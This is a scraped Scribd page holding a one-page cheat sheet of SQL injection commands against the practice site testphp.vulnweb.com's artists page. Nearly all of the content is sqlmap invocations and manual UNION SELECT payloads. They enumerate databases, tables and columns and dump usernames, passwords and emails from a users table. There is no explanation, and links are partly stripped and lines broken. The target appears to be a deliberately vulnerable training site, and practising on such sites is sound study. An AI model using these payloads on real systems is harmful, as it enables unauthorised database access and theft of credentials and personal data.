Scribd
Upload
42 views1 page

SQL Injection on vulnweb Artists Page

The document contains commands used to exploit an SQL injection vulnerability on the website http://testphp.vulnweb.com/artists.php. It uses sqlmap and MySQL commands to find database information, like database names, table names, column names, and eventually dump usernames, passwords, and emails from a users table to extract sensitive data from the vulnerable site.

Uploaded by

RituRajPS Unofficial (Raj Singh)
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
42 views1 page

SQL Injection on vulnweb Artists Page

The document contains commands used to exploit an SQL injection vulnerability on the website http://testphp.vulnweb.com/artists.php. It uses sqlmap and MySQL commands to find database information, like database names, table names, column names, and eventually dump usernames, passwords, and emails from a users table to extract sensitive data from the vulnerable site.

Uploaded by

RituRajPS Unofficial (Raj Singh)
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

[Link]

artist=-1
[Link]
[Link]

mysql -u [Link] --dbs

sqlmap -u [Link] -D acuart --tables

sqlmap -u [Link] -D acuart -T users --


columns

sqlmap -u [Link] -D acuart -T users -C


uname --dump
sqlmap -u [Link] -D acuart -T users -C
pass --dump
sqlmap -u [Link] -D acuart -T users -C
email --dump

[Link] order by 3--

[Link] union select


1,2,group_concat(table_name) from information_schema.tables where
table_schema=database()--

[Link] union select


1,2,group_concat(column_name) from information_schema.columns where
table_name="users"--

[Link] union select


1,2,group_concat(uname) from users--

You might also like